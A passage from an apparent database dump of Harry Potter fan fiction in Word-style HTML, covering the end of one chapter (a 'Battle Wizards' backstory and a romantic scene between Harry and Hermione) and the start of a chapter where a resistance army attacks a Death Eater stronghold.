style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&quot;\nasked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The Battle\nWizards: ancient warriors of the lost continent with immense powers and\nabilities.&nbsp; Battle Wizards were supposed\nto be the guardians of peace on Atlantis and they were just that for thousands\nof years.&nbsp; However, things weren\'t\nalways peaceful on the continent as dark wizards started to rise among the\npopulation.&nbsp; Soon Civil War erupted and\nthe continent was ultimately destroyed by the battles between the Battle\nWizards.&nbsp; The surviving wizards and\nwitches escaped to the main land and mingled amongst the Muggle\nCommunity.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;So let me\nget this straight,&quot; said Ron with a skeptical look.&nbsp; &quot;An entire continent was destroyed in a\nmagical battle.&nbsp; There\'s no way\nsomething like that can ever happen.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Ron, you\nknow just how powerful Harry is right?&quot; asked Hermione.&nbsp; Ron nodded and Hermione continued,\n&quot;Now, imagine thousands of wizards with the exact same power fighting\nagainst each other.&nbsp; Also add into that\nthe power to temporarily resurrect the dead, meaning that fallen soldiers would\nget up again and continue fighting.&nbsp;\nTell me now, Ron Weasley, how is it not possible for a continent to be\ndestroyed.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron gulped and\nsaid, &quot;I see your point.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione went back\nto her history lesson.&nbsp; &quot;Since\nthen, it was decided that there would only be one Battle Wizard per\ngeneration.&nbsp; They\'re trained in a secret\ntraining facility in the Himalayas for two years and become the sole Battle\nWizard of his or her generation.&nbsp; Godric\nGryffindor was the official Battle Wizard of his generation, although there was\nan unconfirmed rumor that Salazar Slytherin was one as well.&nbsp; Most likely not true.&nbsp; So that was the way it was for centuries,\nuntil fifty years ago when a slip up occurred.&quot;&nbsp; Hermione paused, waiting for Ron to finish her sentence.&nbsp; He seemed to be completely clueless\nhowever.&nbsp; Hermione sighed and said,\n&quot;Tom Marvolo Riddle became the Battle Wizard of his generation.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?!&quot;\nshouted Ron.&nbsp; &quot;You-know-who is a Battle\nWizard?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That\'s\nright,&quot; said Hermione.&nbsp; &quot;If\npeople had known what Riddle would become, they would\'ve never made him into a\nBattle Wizard.&nbsp; As luck would have it,\nRiddle used his powers as a Battle Wizard to become the greatest dark wizard\never to exist.&nbsp; Its almost ironic how\nthe supposed guardian of peace ended up becoming a megalomaniac tyrant.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione took a\ndeep breath before she continued.&nbsp;\n&quot;It also explains why You-know-who fears Dumbledore: because\nDumbledore is a Battle Wizard of a previous generation.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;And it also\nexplains why he wanted to kill Harry,&quot; said Ron.&nbsp; &quot;He was eliminating all future Battle Wizards.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione nodded as\nshe shut her book.&nbsp; &quot;Well, I\'m\ngoing to bed.&nbsp; Good night,&quot; she\nsaid as she wheeled her wheelchair out of the library.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron glanced at\nMargaret and said, &quot;Astronomy Tower?&quot;&nbsp; Margaret grinned, and the two left the library.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione woke up\nwhen she felt a slight weight on her bed.&nbsp;\nShe opened her eyes and saw Harry sitting on the edge of her bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh\nsorry.&nbsp; Did I wake you?&quot; he asked,\na tired smile on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nand said, &quot;Yes, but that\'s OK.&quot; She glanced out of the window and saw\nthat it was dawn.&nbsp; &quot;Did you just\ncome back?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded and\nyawned.&nbsp; He looked very exhausted.&nbsp; &quot;Yeah, I\'m beat.&nbsp; But it was worth it.&nbsp; Dad, Sirius, and Remus are completely\nexhausted as well, but I needed to see you first.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled as\nHarry lifted her head up into a sweet kiss.&nbsp;\nThe kiss started to get steamy as their hands started roaming\naround.&nbsp; Harry and Hermione\'s bodies\nwere so close together as they started to lose themselves in the kiss.&nbsp; Unfortunately, there was an interruption.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hi Harry, I\nwas wondering if...&quot; Lily barged into the room and stopped short when she\nsaw Harry and Hermione spring apart blushing very red.&nbsp; &quot;Oh, did I interrupt something?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Uh, no\nMum.&nbsp; Y-You didn\'t i-interupt\nanything,&quot; spluttered Harry blushing fiercely.&nbsp; Hermione couldn\'t help but giggle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Lily?&nbsp; What\'s going on?&quot; asked James from\nbehind Lily as he stifled a yawn.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I think we\njust interrupted our son\'s snog session,&quot; said Lily with a grin.&nbsp; &quot;Want to give Harry some\nlessons?&quot;&nbsp; James grinned and pulled\nLily into a passionate kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione laughed\nas Harry said, &quot;Mum, Dad, I don\'t need a lesson,&quot; looking very\nembarrassed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why Harry,\ndon\'t you want to see how much your Mum and Dad love each other?&quot; said\nLily looking smug while James had a huge grin on his face.&nbsp; They both still had their arms wrapped\naround each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;If you don\'t\nmind, we\'d like some privacy,&quot; said Harry looking a little annoyed.&nbsp; He started to usher his parents out of the\nroom.&nbsp; Lily and James left with huge grins\non their faces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Come on\nLily, let\'s leave Harry behind and go have some time to ourselves,&quot; said\nJames with a grin that suggested just what he meant.&nbsp; Lily playfully smacked James though she still had a grin on her\nface.&nbsp; Harry rolled his eyes as Lily and\nJames waved goodbye and disappeared down the corridor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Can you\nbelieve them?&quot; said Harry still looking annoyed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh I don\'t\nknow,&quot; said Hermione with a smile.&nbsp;\n&quot;I think it\'s very sweet to see how much your parents are in love\nwith each other.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Not as much\nas I love you,&quot; said Harry with a large grin.&nbsp; Hermione blushed red but she smiled as Harry sat next to her on\nthe bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You know, I\nlove you too,&quot; said Hermione.&nbsp;\nHarry smiled but he also yawned as the exhaustion of his night out with\nthe Marauders started to catch up with him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I should\nprobably go back to my room and get some sleep,&quot; said Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione shook her\nhead and said, &quot;You can stay here for a few hours.&quot;&nbsp; Harry smiled and lied down next to her on\nthe bed.&nbsp; Hermione pulled the covers\nover them and wrapped her arms around Harry.&nbsp;\nThey gently pulled each other into a sweet kiss that started to get more\nand more passionate.&nbsp; Finally, they\nbroke apart for the lack of oxygen.&nbsp;\nHermione gently laid her head against Harry\'s chest as Harry pulled her\ncloser to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione thought\nback to everything that had happened since Harry had disappeared.&nbsp; She remembered the time when Harry had first\ndisappeared and she had realized how much she loved him and she had cried\nherself to sleep.&nbsp; Back then, there was\nno way she could\'ve imagined that she would be lying in Harry\'s arms two years\nlater.&nbsp; Tears of joy brimmed up in her\neyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Harry, when\nyou left two years ago, I was devastated.&nbsp;\nIt was only after you had gone that I realized what I felt for you, and\nI constantly cursed myself for not acting on my feelings while you were\nhere.&nbsp; I missed you every night while\nyou were gone and I often wondered if you missed me.&nbsp; But I never lost hope that you would be back.&nbsp; That was my anchor, even when everything\naround me fell apart.&nbsp; And now, you\'re\nback, and I think I love you even more than when you were gone.&nbsp; I love you so much, Harry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry did not\nanswer, his steady breathing indicating that he had fallen asleep.&nbsp; Hermione smiled and thought, \'He looks so\npeaceful when he\'s asleep.\'&nbsp; She\nsnuggled closer to him and slowly fell asleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Well what do\nyou know: this chapter is actually a lot more fluffier than chapter 9.&nbsp; I didn\'t intend make it come out like\nthat.&nbsp; But ultimately, I\'m more than\nsatisfied with the outcome of this chapter.&nbsp;\nSo please, read and review this chapter.&nbsp; Also, the Bible Verses at the beginning of each chapter is only a\nsymbolic theme for each chapter.&nbsp; I ask\nthat you remember that they are only symbolic.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 13, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;At once\nthe man was cured; he picked up his mat and walked.&quot;</i></p>\n\n<i>John 5:9</i>\n\nChapter 13: Start\nof the Battle of Parselrock\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In London,\nsurrounding the mighty fortress of Parselrock was the single largest gathering\nof dark forces in all of Europe.&nbsp; The\ntension there was quite high; recent successes of the resistance fighters had\nprevented the dark forces from extending their territory out of Europe, all\nspurred by the &quot;Return of the Lion&quot; as people had dubbed Harry\nPotter\'s return.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In an attempt to\ncrush the heart of the resistance, Voldemort had sent his Killer Elite to\ndestroy Hogwarts a full week and a half previously, but the lack of news had\nmade some Death Eaters nervous.&nbsp; Amongst\nthose was Icicle, who\'s sister Flame was a member of the Killer Elite and had\ntherefore gone to Hogwarts.&nbsp; She hadn\'t\nheard from them in quite some time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Where are\nthey?&quot; yelled Icicle, clearly frustrated.&nbsp;\nShe was pacing back and forth in front of her tent, in a clearing not\ntoo far from the Thames River.&nbsp;\n&quot;They left a week and a half ago!&nbsp;\nWe should\'ve had some news by now!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Patience,\nIcicle,&quot; said Lucius Malfoy, relaxing in a luxurious seat right next to\nhis tent, &quot;There is no way the Killer Elite could\'ve been defeated.&nbsp; We will be celebrating our victory\nsoon.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I suppose\nso,&quot; said Icicle, calming down a little.&nbsp;\n&quot;Slave!&quot; she yelled.&nbsp;\nTwo shackled people came forward, ragged and dirty.&nbsp; They were Susan Thomas and John\nSeymour.&nbsp; &quot;Get me my tea,&quot;\nordered Icicle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Seymour tried to\nlunge at Icicle, but Susan held him back. &nbsp;&quot;John, don\'t do anything stupid,&quot; she pleaded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Seymour looked\nlike an erupted Volcano.&nbsp; He completely\nignored Susan\'s pleas and tried to attack Icicle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;Crucio.&quot;</i>&nbsp;\nSeymour hollered in extreme pain as the Cruciatus Curse ripped through\nhis body.&nbsp; Susan looked terrified as\nIcicle walked up to him grinning like a madwoman.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Stop\nit!&nbsp; You\'re going to kill him!&quot;\nshouted Susan.&nbsp; Icicle however, had no\nintention of taking off the curse as she walked up to the writhing Seymour.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Let that be\na lesson for insubordination, muggle,&quot; sneered Icicle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, a huge\nexplosion rattled the camp of the Death Eaters!&nbsp; &quot;What?!&quot;&nbsp; Icicle\nand Lucius looked up to see a horrifying sight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Resistance was\nattacking the Death Eater stronghold in London!&nbsp; Thousands of fighters of both magical and muggle resistances were\nstorming the Death Eaters and overpowering them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The Killer\nElite have failed?&quot; hissed Icicle.&nbsp;\n&quot;That\'s not possible!&nbsp; There\nmust be some other explanation!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Really?&nbsp; Why don\'t you think about it\nlogically?&quot; said a very familiar voice.&nbsp;\nEverybody present whirled around in surprise to see who the voice had\ncome from.&nbsp; &quot;That attack on\nHogwarts was a gamble wasn\'t it?&nbsp; It was\nan attempt to wipe out the resistance once and for all wasn\'t it?&nbsp; So how can the resistance be attacking you\nnow?&nbsp; Why, logic dictates that your\nKiller Resistance lost, pure and simple as that.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The voice had come\nfrom a very familiar young girl with bushy golden brown hair and cinnamon brown\neyes.&nbsp; She had a look of pure\ndetermination on her threat and she actually looked quite threatening, despite\nthe fact that she had approached them on a wheelchair.&nbsp; Her thighs were covered by a red and white,\ncheckered quilt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hermione?&quot;\nasked Susan looking very confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Granger?&quot;\nspat Seymour, though he too looked quite confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Why, my\nlittle mudblood,&quot; smirked Icicle.&nbsp;\n&quot;Young Draco has missed you very much.&nbsp; I am glad to have this opportunity to deliver you to him.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;If I were\nyou, I would preparing myself for a duel,&quot; said Hermione, glaring\ndefiantly at Icicle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Icicle started\nlaugh.&nbsp; &quot;Oh really, mudblood?&quot;\nshe said between laughs.&nbsp; &quot;Now tell\nme, what can a legless freak do against the likes of me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione simply\nsaid, &quot;Don\'t take things at face value.&quot;&nbsp; Icicle simply grinned and fired an explosive curse at Hermione,\nwhich flung her out of her wheelchair into the air.&nbsp; Hermione however, simply twirled around in the air and landed\ngently behind Icicle on her feet...her feet?!&nbsp;\nEverybody present stared at Hermione in shock while Hermione looked\nsmug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Yes, Hermione was\nbalancing on the tiptoes of a right foot, a left foot slightly raised above the\nground!&nbsp; She was wearing white pointed\nend shoes that went well with her satin white travel robes that simply glowed in\nthe darkness of the night and flames from the nearby battle.&nbsp; She looked like an angel, beautiful and\nfrightening.&nbsp; She was now, in fact a\nfull inch taller than previously at five foot seven.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;H-how is\nthis possible?&quot; spluttered Susan from the corner she was hiding in.&nbsp; &quot;I amputated your legs myself,\nHermione.&quot;&nbsp; Icicle and Lucius were\nglaring at her, the exact same question in their eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nsweetly and said, &quot;Harry.&nbsp; He used\nthe regeneration powers that Battle Wizards use to raise the dead to regenerate\nmy legs.&nbsp; The difference is that since\nit was only part of a body that was regenerated, rather than a full body, these\nlegs are permanent.&quot;</p>\n\n<p class="MsoNormal" 